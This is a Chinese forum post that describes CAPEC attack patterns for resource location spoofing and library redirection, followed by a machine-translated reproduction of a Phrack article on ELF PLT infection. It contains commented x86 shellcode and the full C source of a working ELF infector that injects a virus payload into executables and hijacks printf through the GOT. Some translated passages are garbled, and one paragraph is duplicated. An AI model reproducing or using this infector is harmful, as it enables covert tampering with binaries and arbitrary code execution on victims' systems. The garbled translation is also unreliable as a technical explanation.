-
-
[原创][攻击方法]欺骗攻击_资源位置欺骗
-
发表于: 2021-3-10 17:13 1065
-
简述
知己知彼,方能百战百胜。 -《孙子兵法》
备注:根据自身知识面及相关理解会对内容进行不定时更新
更新日期:2021年3月10日
欢迎大家一起讨论与完善
引申知识
何为资源位置欺骗攻击
- 英文:Resource Location Spoofing
- 攻击者欺骗应用程序或用户,说服他们从一个非预期的位置请求资源。通过欺骗地点,攻击者可以导致使用另一种资源,通常是攻击者控制的资源,可以用来帮助他们实现其恶意目的。
- 受攻击的可能性
中 - 危害等级
中 - 前提条件
无。所有应用程序都依赖于文件路径,因此,理论上,它们或它们的资源都可能受到这类攻击的影响。 - 资源需求
无。执行这类攻击不需要专门资源。 - 缓解措施
监控网络活动,以检测任何异常或未经授权的通信交换。
重定向对库的访问途径
- 英文:Redirect Access to Libraries
- 攻击者利用应用程序搜索外部库的方式中的一个弱点,操纵执行流程,指向攻击者提供的库或代码库。这种攻击模式允许对手通过执行未经授权的代码来控制应用程序或服务器。应用程序通常会调用属于应用程序外部库的函数。这些库可能是操作系统的一部分,也可能是第三方库。如果对手能够将应用程序访问这些库的尝试重定向到对手提供的其他库,对手将能够强迫目标应用程序执行任意代码。如果目标应用程序具有增强的权限,这一点尤其危险。访问可以通过一些技术进行重定向,包括使用符号链接、搜索路径修改和相对路径操作。
- 受攻击的可能性
高 - 危害等级
非常高 - 前提条件
目标必须利用外部库,而且在使用这些库之前,必须无法验证这些库的完整性。 - 技能需求
[水平:低]
要修改配置文件中指向恶意库的条目。
[水平:中]
强制重定向访问库的符号链接和时间问题。
[水平:高]
对库进行逆向工程,将恶意代码注入库中。 - 缓解措施
实现:限制修改配置文件中条目的权限。
实现:在使用动态链接库之前检查它们的完整性。
实现:使用混淆和其他技术来防止对库进行反向工程。 - 示例
在这个例子中,攻击者使用ELF感染,重定向可执行文件的程序链接表(PLT),允许重定向常驻在被感染的可执行文件之外。在入口点代码的算法如下所示:
新库调用中的算法如下所示:123将该文本段标记为可写
保存PLT(GOT)条目
用新的lib调用的地址替换PLT(GOT)条目
12345执行新lib调用payload
恢复原始PLT(GOT)条目。
调用lib调用。
再次保存PLT(GOT)条目(如果已更改)。
将plt(GOT)条目替换为新lib调用的地址
使用ELF实现共享库调用重定向的方法:
原文地址:http://phrack.org/issues/56/7.html
重定向可执行文件的过程链接表(PLT)的感染允许重定向驻留在受感染的可执行文件之外。
与LD_PRELOAD重定向技术相比,这种技术的优势在于不会修改环境变量,因此比以前的技术更具隐蔽性。
- 程序链接表
就像全局偏移表重定向与位置无关的地址一样。计算到绝对位置,程序链接表。将与位置无关的函数调用重定向到绝对位置。
链接编辑器不能解析执行转移(如函数的 调用)从一个可执行对象或共享对象到另一个。因此。 链接编辑器安排将程序控制权转移给 存储过程连接表中的条目。在SYSTEM V架构上。存储过程链接表位于共享文本中,但它们使用的是地址。在私有全局偏移表中。动态链接器确定了 目的地的绝对地址,并修改全局偏移量。表的内存映像。因此,动态链接器可以重定向 在不损害立场独立和不损害国家利益的前提下,对参赛作品进行评价。程序文本的可共享性。可执行文件和共享对象 文件有单独的链接表。
注:如图所示,程序链接表指令对绝对代码和位置无关的代码使用不同的操作码寻址模式。尽管如此,它们与动态链接器的接口是相同的。
按照下面的步骤,动态链接器和程序 "cooperate",通过程序链接表表和全局偏移表来解析符号引用。
- 当第一次创建程序的内存映像时,动态链接器将全局偏移表中的第二个和第三个条目设置为特殊值。下面的步骤将详细解释这些值。
- 如果存储过程连接表与位置无关,则地址 的全局偏移表必须位于%ebx中。 每个共享对象 过程映像中的文件有自己的过程链接表,而 控制转移到过程连接表条目,只从 在同一个对象文件中。 因此,调用函数是 负责设置全局偏移表的基数寄存器,然后在 调用程序连接表条目。
- 为了说明问题,假设程序调用name1,该程序转入了 控件的标签为.PLT1。
- 第一条指令跳转到全局偏移表条目中name1的地址。 最初,全局偏移表中保存的是下面推送指令的地址,而不是name1的真实地址。
- 因此,程序在堆栈上推送了一个重定位偏移量(offset)。重置偏移是一个32位、非负的字节偏移到重置表中。 指定的重定位条目的类型为R_386_JMP_SLOT,它的偏移量将指定前一条jmp指令中使用的全局偏移表条目。重置条目还包含一个符号表索引,从而告诉动态链接器引用的是什么符号,本例中是name1。
- 推移位偏移后,程序就会跳转到.PLT0,也就是程序链接表的第一个条目。 pushl指令将第二个全局偏移表条目(got_plus_4或4(%ebx))的值放在堆栈上,从而使动态链接器得到 链接器一个字的识别信息。 然后程序会跳转到 到第三个全局偏移表条目中的地址(got_plus_8)。或8(%ebx)),将控制权转移给动态链接器。
- 当动态链接器接收到控制权时,它就会解开堆栈。查看指定的重定位条目,找到符号的值。 在全局偏移表中存储name1的 "真实 "地址。入口,并将控制权转移到所需的目的地。
- 随后对存储过程连接表条目的执行将是 直接转移到name1,而无需调用动态链接器。 第二次。也就是说,在.PLT1处的jmp指令将转移到了 name1,而不是 "落空 "到pushl指令。
LD_BIND_NOW环境变量可以改变动态链接行为。 如果它的值是非空的,动态链接器在将控制权转移给程序之前,会评估过程链接表项。 也就是说,动态链接器在进程初始化过程中处理类型为R_386_JMP_SLOT的重定位条目。 否则,动态链接器会懒惰地评估程序链接表项,将符号解析和重定位延迟到表项的第一次执行。
注意:注意:Lazy binding一般会提高整体应用性能。 因为未使用的符号不会产生动态链接开销。 然而,有两种情况使得懒惰绑定在某些情况下是不可取的。应用。 首先,对共享对象函数的初始引用是 的时间比后续调用的时间长,因为动态链接器 拦截调用来解析符号。 有些应用程序不能 忍受这种不可预知性。 其次,如果发生错误,而 动态链接器不能解析该符号,动态链接器就会 终止程序。在懒惰绑定的情况下,这可能发生在 任意时间。 同样,一些应用程序不能容忍这种 的不可预测性。 通过关闭懒惰绑定,动态链接器 强制在流程初始化过程中发生故障,然后再进行 应用程序接收控制。绑定一般会提高整体应用性能。 因为未使用的符号不会产生动态链接开销。 然而,有两种情况使得懒惰绑定在某些情况下是不可取的。应用。 首先,对共享对象函数的初始引用是 的时间比后续调用的时间长,因为动态链接器 拦截调用来解析符号。 有些应用程序不能 忍受这种不可预知性。 其次,如果发生错误,而 动态链接器不能解析该符号,动态链接器就会 终止程序。在懒惰绑定的情况下,这可能发生在 任意时间。 同样,一些应用程序不能容忍这种 的不可预测性。 通过关闭懒惰绑定,动态链接器 强制在流程初始化过程中发生故障,然后再进行 应用程序接收控制。
更详细的解释一下......
共享库的调用在可执行对象中被特殊对待,因为它们在编译时不能链接到可执行对象。 这是由于共享库在运行时才会被可执行程序使用.PLT就是为了处理这样的情况而设计的。 PLT负责调用动态链接器来定位这些所需的例程.可执行文件不调用可执行文件中真正的共享库例程,而是调用PLT中的一个条目。 然后由PLT来解析它所代表的符号并做正确的事情---来自ELF规范。
1 2 3 | .PLT1:jmp * name1_in_GOT pushl $offset jmp .PLT0@PC |
这是很重要的信息。这是代替库调用调用的call,name1_in_GOT最初开始指向下面的pushl指令。 偏移量代表一个重定位(见ELF规范)偏移量,它有一个对库调用所代表的符号的引用。 这用于最后的跳转到动态链接器的jmp。 然后动态链接器改变name1_in_GOT直接指向例程,从而避免第二次动态链接。
这就总结了PLT在库查找中的重要性。 可以注意到,我们可以将name_in_GOT改为指向自己的代码,从而替换库调用。 如果我们在替换之前保存GOT的状态,我们可以调用旧的库例程,从而重定向任何库调用。
----|ELF感染
要将重定向的库调用注入可执行文件,需要向可执行文件中添加新代码。ELF感染的实际过程将不在这里描述,因为它已经在以前的文章中被很好地涵盖了(http://www.big.net.au/~silvio - Unix Viruses/Unix ELF Parasites and Virus)。
为了完整性,数据感染是用于注入的,它有点缺陷并不安全。
-|PLT重定向。
入口点代码的算法如下:
- 将文本段标记为可写。
- 保存PLT(GOT)条目。
- 将PLT(GOT)条目替换为新lib调用的地址。
新的库调用中的算法如下:
- 执行新lib调用的有效负载。
- 恢复原来的PLT(GOT)条目。
- 调用lib调用。
- 再次保存PLT(GOT)条目(如果已更改)。
- 将PLT(GOT)条目替换为新lib调用的地址。
要更多地解释PLT重定向是如何进行的,最简单的方法是描述提供的示例代码。该代码被注入到可执行文件中,并成为程序的新入口点。重定向的库调用是printf,新代码在printf提供的字符串之前打印一条消息。
好,保存寄存器,依此类推
1 | "\x60" / * pusha * / |
将文本段标记为rwx。 我们这样做是为了修改文本段中的PLT,而PLT通常是不可写的。
1 2 3 4 5 | "\xb8\x7d\x00\x00\x00" / * movl $ 125 , % eax * / "\xbb\x00\x80\x04\x08" / * movl $text_start, % ebx * / "\xb9\x00\x40\x00\x00" / * movl $ 0x4000 , % ecx * / "\xba\x07\x00\x00\x00" / * movl $ 7 , % edx * / "\xcd\x80" / * int $ 0x80 * / |
我们保存旧库调用的PLT(GOT)引用,并用紧跟在入口点代码后面的新库调用的地址代替。
1 2 3 4 | "\xa1\x00\x00\x00\x00" / * movl plt, % eax * / "\xa3\x00\x00\x00\x00" / * movl % eax,oldcall * / "\xc7\x05\x00\x90\x04" / * movl $newcall,plt * / "\x08\x00\x00\x00\x00" |
还原寄存器...
1 | "\x61" / * popa * / |
跳回可执行文件的原始入口点
1 2 | "\xbd\x00\x80\x04\x08" / * movl $entry, % ebp * / "\xff\xe5" / * jmp * % ebp * / |
新的库函数调用(printf)
1 2 3 4 5 6 7 | / * newcall: * / get the address of the string to write . "\xeb\x38" / * jmp msg_jmp * / / * msg_call * / "\x59" / * popl % ecx * / |
并使用Linux系统call
1 2 3 4 | "\xb8\x04\x00\x00\x00" / * movl $ 4 , % eax * / "\xbb\x01\x00\x00\x00" / * movl $ 1 , % ebx * / "\xba\x0e\x00\x00\x00" / * movl $ 14 , % edx * / "\xcd\x80" / * int $ 0x80 * / |
将旧的库调用恢复到PLT(GOT)中,这样我们就可以调用它了
1 2 | "\xb8\x00\x00\x00\x00" / * movl $oldcall, % eax * / "\xa3\x00\x00\x00\x00" / * movl % eax,plt * / |
获取原始的printf参数
1 | "\xff\x75\xfc" / * pushl - 4 ( % ebp) * / |
调用原库
1 | "\xff\xd0" / * call * % eax * / |
保存PLT(GOT)的原始库调用。 请记住,在调用库之后,这个可能会改变,所以我们每次都要保存。 其实这个只有在第一次调用后才会改变,但我们不用太在意。
1 2 | "\xa1\x00\x00\x00\x00" / * movl plt, % eax * / "\xa3\x00\x00\x00\x00" / * movl % eax,oldcall * / |
使PLT(GOT)指向新的库调用
1 2 | "\xc7\x05\x00\x00\x00" / * movl $newcall,plt * / "\x08\x00\x00\x00\x00" |
拾遗补缺
1 | "\x58" / * popl % eax * / |
还原寄存器
1 | "\x61" / * popa * / |
并从函数中返回
1 | "\xc3" / * ret * / |
获取要写入的字符串的地址
1 2 | / * msg_jmp * / "\xe8\xc4\xff\xff\xff" / * call msg_call * / |
字符串
1 | "INFECTED Host " |
----|未来的发展方向
直接感染共享库是可能的,这有时更可取,因为重定向对所有可执行文件都是常驻的。 另外,还有一种更隐蔽的PLT重定向版本,即直接修改进程映像,从而使主机可执行文件不被修改。 然而,这有一个缺点,即重定向只在一个进程的生命周期内保持有效。
----| CONCLUSION
本文介绍了一种利用ELF感染技术,通过直接修改相关可执行文件的PLT来重定向可执行文件中的共享库调用的方法。 它比以往使用LD_PRELOAD的技术更加隐蔽,具有很大的可能性。
----| CODE
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 332 333 334 335 336 337 338 339 340 341 342 343 344 345 346 347 348 349 350 351 352 353 354 355 356 357 358 359 360 361 362 363 364 365 366 367 368 369 370 371 372 373 374 375 376 377 378 379 380 381 382 383 384 385 386 387 388 389 390 391 392 393 394 395 396 397 398 399 400 401 402 403 404 405 406 407 408 409 410 411 412 413 414 415 416 417 418 419 420 421 422 423 424 425 426 427 428 429 430 431 432 433 434 435 436 437 438 439 440 441 442 443 444 445 446 447 448 449 450 451 452 453 454 455 456 457 458 459 460 461 462 463 464 465 466 467 468 469 470 471 472 473 474 475 476 477 478 479 480 481 482 483 484 | < + + > p56 / PLT - INFECTION / PLT - infector.c !fda3c047 #include <stdio.h> #include <stdlib.h> #include <sys/stat.h> #include <sys/types.h> #include <string.h> #include <fcntl.h> #include <unistd.h> #include <elf.h> #define PAGE_SIZE 4096 static char v[] = "\x60" / * pusha * / "\xb8\x7d\x00\x00\x00" / * movl $ 125 , % eax * / "\xbb\x00\x80\x04\x08" / * movl $text_start, % ebx * / "\xb9\x00\x40\x00\x00" / * movl $ 0x4000 , % ecx * / "\xba\x07\x00\x00\x00" / * movl $ 7 , % edx * / "\xcd\x80" / * int $ 0x80 * / "\xa1\x00\x00\x00\x00" / * movl plt, % eax * / "\xa3\x00\x00\x00\x00" / * movl % eax,oldcall * / "\xc7\x05\x00\x90\x04" / * movl $newcall,plt * / "\x08\x00\x00\x00\x00" "\x61" / * popa * / "\xbd\x00\x80\x04\x08" / * movl $entry, % ebp * / "\xff\xe5" / * jmp * % ebp * / / * newcall: * / "\xeb\x37" / * jmp msg_jmp * / / * msg_call * / "\x59" / * popl % ecx * / "\xb8\x04\x00\x00\x00" / * movl $ 4 , % eax * / "\xbb\x01\x00\x00\x00" / * movl $ 1 , % ebx * / "\xba\x0e\x00\x00\x00" / * movl $ 14 , % edx * / "\xcd\x80" / * int $ 0x80 * / "\xb8\x00\x00\x00\x00" / * movl $oldcall, % eax * / "\xa3\x00\x00\x00\x00" / * movl % eax,plt * / "\xff\x75\xfc" / * pushl - 4 ( % ebp) * / "\xff\xd0" / * call * % eax * / "\xa1\x00\x00\x00\x00" / * movl plt, % eax * / "\xa3\x00\x00\x00\x00" / * movl % eax,oldcall * / "\xc7\x05\x00\x00\x00" / * movl $newcall,plt * / "\x08\x00\x00\x00\x00" "\x58" / * popl % eax * / "\xc3" / * ret * / / * msg_jmp * / "\xe8\xc4\xff\xff\xff" / * call msg_call * / "INFECTED Host " ; char * get_virus(void) { return v; } int init_virus( int plt, int offset, int text_start, int data_start, int data_memsz, int entry ) { int code_start = data_start + data_memsz; int oldcall = code_start + 72 ; int newcall = code_start + 51 ; * ( int * )&v[ 7 ] = text_start; * ( int * )&v[ 24 ] = plt; * ( int * )&v[ 29 ] = oldcall; * ( int * )&v[ 35 ] = plt; * ( int * )&v[ 39 ] = newcall; * ( int * )&v[ 45 ] = entry; * ( int * )&v[ 77 ] = plt; * ( int * )&v[ 87 ] = plt; * ( int * )&v[ 92 ] = oldcall; * ( int * )&v[ 98 ] = plt; * ( int * )&v[ 102 ] = newcall; return 0 ; } int copy_partial( int fd, int od, unsigned int len ) { char idata[PAGE_SIZE]; unsigned int n = 0 ; int r; while (n + PAGE_SIZE < len ) { if (read(fd, idata, PAGE_SIZE) ! = PAGE_SIZE) {; perror( "read" ); return - 1 ; } if (write(od, idata, PAGE_SIZE) < 0 ) { perror( "write" ); return - 1 ; } n + = PAGE_SIZE; } r = read(fd, idata, len - n); if (r < 0 ) { perror( "read" ); return - 1 ; } if (write(od, idata, r) < 0 ) { perror( "write" ); return - 1 ; } return 0 ; } void do_elf_checks(Elf32_Ehdr * ehdr) { if (strncmp(ehdr - >e_ident, ELFMAG, SELFMAG)) { fprintf(stderr, "File not ELF\n" ); exit( 1 ); } if (ehdr - >e_type ! = ET_EXEC) { fprintf(stderr, "ELF type not ET_EXEC or ET_DYN\n" ); exit( 1 ); } if (ehdr - >e_machine ! = EM_386 && ehdr - >e_machine ! = EM_486) { fprintf(stderr, "ELF machine type not EM_386 or EM_486\n" ); exit( 1 ); } if (ehdr - >e_version ! = EV_CURRENT) { fprintf(stderr, "ELF version not current\n" ); exit( 1 ); } } int do_dyn_symtab( int fd, Elf32_Shdr * shdr, Elf32_Shdr * shdrp, const char * sh_function ) { Elf32_Shdr * strtabhdr = &shdr[shdrp - >sh_link]; char * string; Elf32_Sym * sym, * symp; int i; string = (char * )malloc(strtabhdr - >sh_size); if (string = = NULL) { perror( "malloc" ); exit( 1 ); } if (lseek( fd, strtabhdr - >sh_offset, SEEK_SET) ! = strtabhdr - >sh_offset ) { perror( "lseek" ); exit( 1 ); } if (read(fd, string, strtabhdr - >sh_size) ! = strtabhdr - >sh_size) { perror( "read" ); exit( 1 ); } sym = (Elf32_Sym * )malloc(shdrp - >sh_size); if (sym = = NULL) { perror( "malloc" ); exit( 1 ); } if (lseek(fd, shdrp - >sh_offset, SEEK_SET) ! = shdrp - >sh_offset) { perror( "lseek" ); exit( 1 ); } if (read(fd, sym, shdrp - >sh_size) ! = shdrp - >sh_size) { perror( "read" ); exit( 1 ); } symp = sym; for (i = 0 ; i < shdrp - >sh_size; i + = sizeof(Elf32_Sym)) { if (!strcmp(&string[symp - >st_name], sh_function)) { free(string); return symp - sym; } + + symp; } free(string); return - 1 ; } int get_sym_number( int fd, Elf32_Ehdr * ehdr, Elf32_Shdr * shdr, const char * sh_function ) { Elf32_Shdr * shdrp = shdr; int i; for (i = 0 ; i < ehdr - >e_shnum; i + + ) { if (shdrp - >sh_type = = SHT_DYNSYM) { return do_dyn_symtab(fd, shdr, shdrp, sh_function); } + + shdrp; } } void do_rel( int * plt, int * offset, int fd, Elf32_Shdr * shdr, int sym) { Elf32_Rel * rel, * relp; int i; rel = (Elf32_Rel * )malloc(shdr - >sh_size); if (rel = = NULL) { perror( "malloc" ); exit( 1 ); } if (lseek(fd, shdr - >sh_offset, SEEK_SET) ! = shdr - >sh_offset) { perror( "lseek" ); exit( 1 ); } if (read(fd, rel, shdr - >sh_size) ! = shdr - >sh_size) { perror( "read" ); exit( 1 ); } relp = rel; for (i = 0 ; i < shdr - >sh_size; i + = sizeof(Elf32_Rel)) { if (ELF32_R_SYM(relp - >r_info) = = sym) { * plt = relp - >r_offset; * offset = relp - rel; printf( "offset %i\n" , * offset); return ; } + + relp; } * plt = - 1 ; * offset = - 1 ; } void find_rel( int * plt, int * offset, int fd, const char * string, Elf32_Ehdr * ehdr, Elf32_Shdr * shdr, const char * sh_function ) { Elf32_Shdr * shdrp = shdr; int sym; int i; sym = get_sym_number(fd, ehdr, shdr, sh_function); if (sym < 0 ) { * plt = - 1 ; * offset = - 1 ; return ; } for (i = 0 ; i < ehdr - >e_shnum; i + + ) { if (!strcmp(&string[shdrp - >sh_name], ".rel.plt" )) { do_rel(plt, offset, fd, shdrp, sym); return ; } + + shdrp; } } void infect_elf( char * host, char * ( * get_virus)(void), int ( * init_virus)( int , int , int , int , int , int ), int len , const char * sh_function ) { Elf32_Ehdr ehdr; Elf32_Shdr * shdr, * strtabhdr; Elf32_Phdr * phdr; char * pdata, * sdata; int move = 0 ; int od, fd; int evaddr, text_start = - 1 , plt; int sym_offset; int bss_len, addlen; int offset, pos, oshoff; int plen, slen; int i; char null = 0 ; struct stat stat; char * string; char tempname[ 8 ] = "vXXXXXX" ; fd = open (host, O_RDONLY); if (fd < 0 ) { perror( "open" ); exit( 1 ); } / * read the ehdr * / if (read(fd, &ehdr, sizeof(ehdr)) < 0 ) { perror( "read" ); exit( 1 ); } do_elf_checks(&ehdr); / * modify the virus so that it knows the correct reentry point * / printf( "host entry point: %x\n" , ehdr.e_entry); / * allocate memory for phdr tables * / pdata = (char * )malloc(plen = sizeof( * phdr) * ehdr.e_phnum); if (pdata = = NULL) { perror( "malloc" ); exit( 1 ); } / * read the phdr's * / if (lseek(fd, ehdr.e_phoff, SEEK_SET) < 0 ) { perror( "lseek" ); exit( 1 ); } if (read(fd, pdata, plen) ! = plen) { perror( "read" ); exit( 1 ); } phdr = (Elf32_Phdr * )pdata; / * allocated memory if required to accomodate the shdr tables * / sdata = (char * )malloc(slen = sizeof( * shdr) * ehdr.e_shnum); if (sdata = = NULL) { perror( "malloc" ); exit( 1 ); } / * read the shdr's * / if (lseek(fd, oshoff = ehdr.e_shoff, SEEK_SET) < 0 ) { perror( "lseek" ); exit( 1 ); } if (read(fd, sdata, slen) ! = slen) { perror( "read" ); exit( 1 ); } strtabhdr = &((Elf32_Shdr * )sdata)[ehdr.e_shstrndx]; string = (char * )malloc(strtabhdr - >sh_size); if (string = = NULL) { perror( "malloc" ); exit( 1 ); } if (lseek( fd, strtabhdr - >sh_offset, SEEK_SET ) ! = strtabhdr - >sh_offset) { perror( "lseek" ); exit( 1 ); } if (read(fd, string, strtabhdr - >sh_size) ! = strtabhdr - >sh_size) { perror( "read" ); exit( 1 ); } find_rel( &plt, &sym_offset, fd, string, &ehdr, (Elf32_Shdr * )sdata, sh_function ); if (plt < 0 ) { printf( "No dynamic function: %s\n" , sh_function); exit( 1 ); } for (i = 0 ; i < ehdr.e_phnum; i + + ) { if (phdr - >p_type = = PT_LOAD) { if (phdr - >p_offset = = 0 ) { text_start = phdr - >p_vaddr; } else { if (text_start < 0 ) { fprintf(stderr, "No text segment??\n" ); exit( 1 ); } / * is this the data segment ? * / #ifdef DEBUG printf( "Found PT_LOAD segment...\n" ); printf( "p_vaddr: 0x%x\n" "p_offset: %i\n" "p_filesz: %i\n" "p_memsz: %i\n" "\n" , phdr - >p_vaddr, phdr - >p_offset, phdr - >p_filesz, phdr - >p_memsz ); #endif offset = phdr - >p_offset + phdr - >p_filesz; bss_len = phdr - >p_memsz - phdr - >p_filesz; if (init_virus ! = NULL) init_virus( plt, sym_offset, text_start, phdr - >p_vaddr, phdr - >p_memsz, ehdr.e_entry ); ehdr.e_entry = phdr - >p_vaddr + phdr - >p_memsz; break ; } } + + phdr; } / * update the shdr's to reflect the insertion of the virus * / addlen = len + bss_len; shdr = (Elf32_Shdr * )sdata; for (i = 0 ; i < ehdr.e_shnum; i + + ) { if (shdr - >sh_offset > = offset) { shdr - >sh_offset + = addlen; } + + shdr; } / * update the phdr's to reflect the extention of the data segment (to allow virus insertion) * / phdr = (Elf32_Phdr * )pdata; for (i = 0 ; i < ehdr.e_phnum; i + + ) { if (phdr - >p_type ! = PT_DYNAMIC) { if (move) { phdr - >p_offset + = addlen; } else if (phdr - >p_type = = PT_LOAD && phdr - >p_offset) { / * is this the data segment ? * / phdr - >p_filesz + = addlen; phdr - >p_memsz + = addlen; #ifdef DEBUG printf( "phdr->filesz: %i\n" , phdr - >p_filesz); printf( "phdr->memsz: %i\n" , phdr - >p_memsz); #endif move = 1 ; } } + + phdr; } / * update ehdr to reflect new offsets * / if (ehdr.e_shoff > = offset) ehdr.e_shoff + = addlen; if (ehdr.e_phoff > = offset) ehdr.e_phoff + = addlen; if (fstat(fd, &stat) < 0 ) { perror( "fstat" ); exit( 1 ); } / * write the new virus * / if (mktemp(tempname) = = NULL) { perror( "mktemp" ); exit( 1 ); } od = open (tempname, O_WRONLY | O_CREAT | O_EXCL, stat.st_mode); if (od < 0 ) { perror( "open" ); exit( 1 ); } if (lseek(fd, 0 , SEEK_SET) < 0 ) { perror( "lseek" ); goto cleanup; } if (write(od, &ehdr, sizeof(ehdr)) < 0 ) { perror( "write" ); goto cleanup; } if (write(od, pdata, plen) < 0 ) { perror( "write" ); goto cleanup; } free(pdata); if (lseek(fd, pos = sizeof(ehdr) + plen, SEEK_SET) < 0 ) { perror( "lseek" ); goto cleanup; } if (copy_partial(fd, od, offset - pos) < 0 ) goto cleanup; for (i = 0 ; i < bss_len; i + + ) write(od, &null, 1 ); if (write(od, get_virus(), len ) ! = len ) { perror( "write" ); goto cleanup; } if (copy_partial(fd, od, oshoff - offset) < 0 ) goto cleanup; if (write(od, sdata, slen) < 0 ) { perror( "write" ); goto cleanup; } free(sdata); if (lseek(fd, pos = oshoff + slen, SEEK_SET) < 0 ) { perror( "lseek" ); goto cleanup; } if (copy_partial(fd, od, stat.st_size - pos) < 0 ) goto cleanup; if (rename(tempname, host) < 0 ) { perror( "rename" ); exit( 1 ); } if (fchown(od, stat.st_uid, stat.st_gid) < 0 ) { perror( "chown" ); exit( 1 ); } free(string); return ; cleanup: unlink(tempname); exit( 1 ); } int main( int argc, char * argv[]) { if (argc ! = 2 ) { fprintf(stderr, "usage: infect-data-segment filename\n" ); exit( 1 ); } infect_elf( argv[ 1 ], get_virus, init_virus, sizeof(v), "printf" ); exit( 0 ); } < - - > |
参考资料
- 《CAPEC》
- 《使用ELF实现共享库调用重定向的方法》
[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!
赞赏
- [原创]物联网安全:基础篇 4215
- 威胁情报小课堂:阻止活跃勒索软件的感染 2218
- [翻译]发现利用 Facebook 和 MS 管理控制台实施的 Kimsuky APT 攻击 7121
- 威胁情报小课堂:LockBit Black 2112
- 威胁情报小课堂:Nitrogen 2102